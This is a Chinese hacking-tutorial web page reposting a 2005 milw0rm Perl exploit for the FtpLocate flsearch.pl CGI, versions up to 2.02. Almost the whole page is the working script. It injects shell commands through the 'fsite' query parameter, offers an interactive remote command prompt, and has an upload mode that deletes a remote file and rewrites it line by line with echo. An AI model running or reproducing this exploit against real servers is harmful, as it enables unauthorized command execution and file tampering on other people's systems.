首页 | 业界新闻 | 黑客教程 | 安全漏洞 | 安全文章 | 破解技术 | 技术文摘 | 黑客文化 | 本站原创 | 安全贴吧 | 在线留言 | IP查询 | 软件下载 | 繁体中文 |
您现在的位置: 黑色反击 >> 技术资讯 >> 黑客教程 >> Exploite >> 正文
FtpLocate <= 2.02 (current) Remote Command Execution Exploit
时间:2005-7-31 12:58:41 出处:milw0rm.com 作者:未知 编辑:mervin 点击数:
## Alot of code for a cgi | vuln. 
# /str0ke

#!/usr/bin/perl
#
# FtpLocate <= 2.02 (current) remote exploit
# VERY PRIVATE VERSION
# DO NOT DISTRIBUTE
#
# newbug Tseng [at] chroot.org
#

sub my_socket
{
       my $s=IO::Socket::INET->new(PeerAddr => $host,
                               PeerPort => 80,
                               Proto => "tcp") or die "socket: ";
}
sub ch2hex
{
       $chr = $_[0];
       $out="";
       for($i=0;$i<length($chr);$i++)
       {
               $ch = substr($chr,$i,1);

               if($ch eq "\"")
               {
                       $out.="%5c%22";
               }

               elsif($ch eq "\$")
               {
                       $out.="%5c%24";
               }
               elsif($ch eq "\@")
               {
                       $out.="%5c%40";
               }
               else
               {
                       $out.="%".sprintf("%2.2x",ord($ch));
               }
       }
       $out;
}
sub upload_file
{
       print "local file: ";
       chomp($lfile = <STDIN>);
       print "remote file: ";
       chomp($rfile = <STDIN>);

       my $socket = &my_socket($host);
       print $socket "GET $cgi?query=xx\&fsite=|rm%20-f%20$rfile| $junk";
       close $socket;
       print "remove $host:$rfile done.\n";

       my @DATA = `cat $lfile`;
       $num=1;
       $total = scalar @DATA;
       foreach $DATA (@DATA)
       {
               $DATA = &ch2hex($DATA);
               my $socket = &my_socket($host);
               print $socket "GET $cgi?query=xx\&fsite=|echo%20\"$DATA\"%20>>$rfile| $junk";
               print "Send lfile \"$lfile\" to $host:$rfile ... ($num/$total)\n";
               sleep(1);
               close $socket;
               $num++;
       }
}
use IO::Socket::INET;

print "FtpLocate flsearch.pl remote exploit\n";
print "host: ";
chomp ($host = <STDIN>);
print "port (80): ";
chomp ($port = <STDIN>);
if($port eq "")
{
       $port = 80;
}
print "version 1.0/1.1 (1.0): ";
chomp ($ver = <STDIN>);
if($ver eq "")
{
       $ver = "1.0";
}
print "cmd/upload (cmd): ";                                                     chomp ($opt = <STDIN>);
if($opt eq "")                                                                  {
       $opt = "cmd";
}
print "cgi path (/cgi-bin/ftplocate/flsearch.pl): ";
chomp ($cgi = <STDIN>);
if($cgi eq "")
{
       $cgi = "/cgi-bin/ftplocate/flsearch.pl";
}
if($ver eq "1.0")
{
       $junk = "HTTP/1.0\n\n";
}
else
{
       $junk = "HTTP/1.1\nHost: $host\nUser-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4) Gecko/20030624 Netscape/7.1\nAccept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,video/x-mng,image/png,image/jpeg,image/gif;q=0.2,*/*;q=0.1\nAccept-Language: zh-tw,en-us;q=0.7,en;q=0.3\nAccept-Encoding: gzip,deflate\nAccept-Charset: Big5,utf-8;q=0.7,*;q=0.7\nKeep-Alive: 300\nConnection: keep-alive\n\n";                                        }
if($opt eq "cmd")
{
       while(1){
               print "h4ck3r\@[$host]:~\$ ";
               chomp ($cmd = <STDIN>);
               if($cmd ne "")
               {
                       print "Send command \"$cmd\" to $host ...\n";
                       $socket = &my_socket($host);
                       $cmd =~ s/\s/%20/g;

                       print $socket "GET $cgi?query=xx\&fsite=|$cmd| $junk";
                       print "done.\n";
               }
       }
}
elsif($opt eq "upload")
{
       &upload_file($lfile);
}
	print "done.\n";
# milw0rm.com [2005-07-25]
精彩推荐
hack菜鸟入门
VB 从零开始编外挂(完
IPC入侵全接触
QQ跨站漏洞巧利用,强
WinXP中CPU占用100%原
黑客新技术 灰鸽子巧妙
实例讲解 黑客入侵论坛
ADSL共享上网方式大总
BMP文件格式分析
十招教你学会破解
热门软件
网 友 评 论
关于我们 - 联系方式 - 招聘信息 - 合作伙伴 - 网站地图 - 广告服务 - 我要投稿 - 设为首页 - 加入收藏
黑色反击 力倡网络安全,崇尚互联共享,欢迎各种媒体转载我们的原创作品 [转载请注明出处]。
EMAIL:hf110.com@gmail.com 备案:苏ICP备05010002号